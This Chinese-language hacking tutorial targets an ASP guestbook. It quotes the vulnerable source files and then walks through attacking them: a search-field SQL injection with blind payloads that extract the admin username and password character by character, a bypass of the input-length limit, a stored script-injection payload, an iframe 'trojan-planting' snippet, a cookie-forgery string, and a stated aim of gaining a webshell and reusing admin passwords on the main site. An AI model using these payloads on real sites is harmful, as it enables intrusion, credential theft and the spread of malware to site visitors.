一.注入漏洞
漏洞文件edit.asp admin_editly.asp searchresult.asp
edit.asp代码分析:
<%
dim id
id=request("id")
set rs=server.createobject("adodb.recordset")
sql="select * from [guest] where id="&id
rs.open sql,conn,1,3
if rs("sessionid")=session.sessionid then
%>
一个典型的sql注入漏洞,程序用request直接获取id的值,没有经过任何的过滤,但是注意一下程序利用的
是session验证,也就是说,只有登陆后台,才有权限来构造语句。
admin_editly.asp代码分析:
<%
dim guestcontent
dim id
id=request("id")
guestcontent=request("guestcontent")
set rs=server.createobject("adodb.recordset")
sql="select guestcontent,id,sh from [guest] where id="&id
rs.open sql,conn,1,3
if guestcontent<>"" then
rs("guestcontent")=guestcontent
rs("sh")=false
rs.update
rsclose()
connclose()
response.redirect "manage.asp"
end if
%>
漏洞与edit.asp如出一辙。同样直接获取id的值,没有任何过滤。虽然这里没有session验证,但是此文件的
开始有这么一句就是说 先得通过chkmanage.asp的验证才有权限登
陆这个页面。
searchresult.asp代码分析:
搜索型注入,everyone可以写。不用任何验证,它便是我们今天的主要对象。
<%
dim keyword
keyword=trim(request("keyword"))
classid=request("classid")
set rs=server.createobject("adodb.recordset")
if classid="留言内容" then
sql="select * from guest where guestcontent like '%"&keyword&"%'"
elseif classid="回复内容" then
sql="select * from guest where guestreply like '%"&keyword&"%'"
else
sql="select * from guest where guestname like '%"&keyword&"%'"
end if
rs.open sql,conn,3,1
Rs.pagesize=listnum
page=Request("page")
if (page-Rs.pagecount) > 0 then
page=Rs.pagecount
elseif page = "" or page < 1 then
page = 1
end if
%>
注意keyword这个变量 只用trim函数过滤掉了空格 显然没有过滤完全。
大家注意它的sql的查询方式,我们必须通过 关键字%' and [我们构造的语句] and '% 构成一个闭合查询语句
比如我们构造这个语句:keyword%' and 1=1 and '% 那么程序在执行的时候就会变成:
select * from guest where guestcontent like '%关键字%' and 1=1 and '%%'
这样就实现了注入。
这里我们在实际做的时候会遇到一些问题,但是我们可以本地提交。大家来看代码:
<INPUT maxLength=12 size=28 name=keyword>
程序限制了长度 12个字节 问题是 我们构造语句 12个是一定会超出的,这样的话 我们就以把searchresult.asp
这个文件保存到本地,然后补全action后面的url 在把maxlength改为120嘿嘿 够长了吧。。。。
关键字%' and ascii的值=(select top 1 asc(mid(password,1,1)) from admin) and '%
com%' and 97=(select top 1 asc(mid(username,1,1)) from admin) and '%
如果正确 则返回正常页面 否则程序会alert("没有符合条件的记录")
二.跨站漏洞
save.asp
server.HTMLEncode(guestname)<>guestname or InStr(guestname," ")<>0 or InStr(guestname," ")<>0 or InStr(guestname,"【")<>0 or InStr(guestname,"】")<>0 or InStr(guestname,"/")<>0 or InStr(guestname,"\")<>0 or InStr(guestname,"_")<>0 or InStr(guestname,"'")<>0 or InStr(guestname,".")<>0
代码比较乱,但是我们可以看出htmlencode这个函数 肯定是一个过滤非法字符的。它就位于
我们来读下它的代码。
function HTMLEncode(fString)
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</P><P>")
fString = Replace(fString, CHR(10), "<BR>")
HTMLEncode = fString
end function
过滤掉了 很多跨站常用的字符。。。可以那么说,这里的跨站几乎是没戏了。。。那么我们把眼光移动到另
一个文件上。。。
undate_eidtnote.asp
这个文件 没有包含刚刚我们说的 char.asp 这个文件,那么跨站就成为轻而一举的事情了。。。
<%
notetitle=request("notetitle")
notebbs=request("guestcontent")
set rs=server.createobject("adodb.recordset")
sql="select notetitle,notebbs,notedate from [lybconfig] where id=1"
rs.open sql,conn,1,3
rs("notebbs")=(request("guestcontent"))
rs("notetitle")=(request("notetitle"))
rs("notedate")=Date()
rs.update
rsclose()
connclose()
%>
还是一样 直接获取 没有过滤。。。
构造语句:
<script>alert("品透泡菜")</script>
挂马代码:
<iframe src=http://www.baidu.com width=100
放到公告栏里就行了。。。
但是该文件开头有那么一句
也就是说 只有登陆后台 才有权限来搞....
三.cookies欺骗
username=管理员名字&password=MD5加密&randomid=随便写数字
四.总结
由于这个留言簿的功能很简单,从它或者webshell比较困难,但是这个留言本可以说是一个插件,
如果你的运气够好的话,这个留言本的后台密码也许就是主站的后台密码。。。
这样获得webshell的几率就高了。。。
Powered by pintoupaocai
近期评论